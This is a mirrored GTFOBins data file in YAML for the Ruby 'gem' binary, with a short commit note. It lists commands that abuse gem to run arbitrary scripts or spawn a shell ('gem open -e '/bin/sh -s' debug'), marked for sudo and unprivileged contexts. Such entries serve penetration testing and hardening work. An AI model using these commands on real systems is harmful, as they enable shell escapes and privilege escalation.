mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2026-03-08 06:56:15 +01:00
Rationale being that: - it's easy to just forget it; - entries that only have the unprivileged context are quite rare.
33 lines
689 B
Plaintext
33 lines
689 B
Plaintext
---
|
|
functions:
|
|
inherit:
|
|
- code: |-
|
|
gem open debug
|
|
comment: |-
|
|
This requires the name of an installed gem to be provided, e.g., `debug` is usually installed.
|
|
contexts:
|
|
sudo:
|
|
unprivileged:
|
|
from: vi
|
|
- code: |-
|
|
gem build /path/to/script.rb
|
|
contexts:
|
|
sudo:
|
|
unprivileged:
|
|
from: ruby
|
|
- code: |-
|
|
gem install --file /path/to/script.rb
|
|
contexts:
|
|
sudo:
|
|
unprivileged:
|
|
from: ruby
|
|
shell:
|
|
- code: |-
|
|
gem open -e '/bin/sh -s' debug
|
|
comment: |-
|
|
This requires the name of an installed gem to be provided, e.g., `debug` is usually installed.
|
|
contexts:
|
|
sudo:
|
|
unprivileged:
|
|
...
|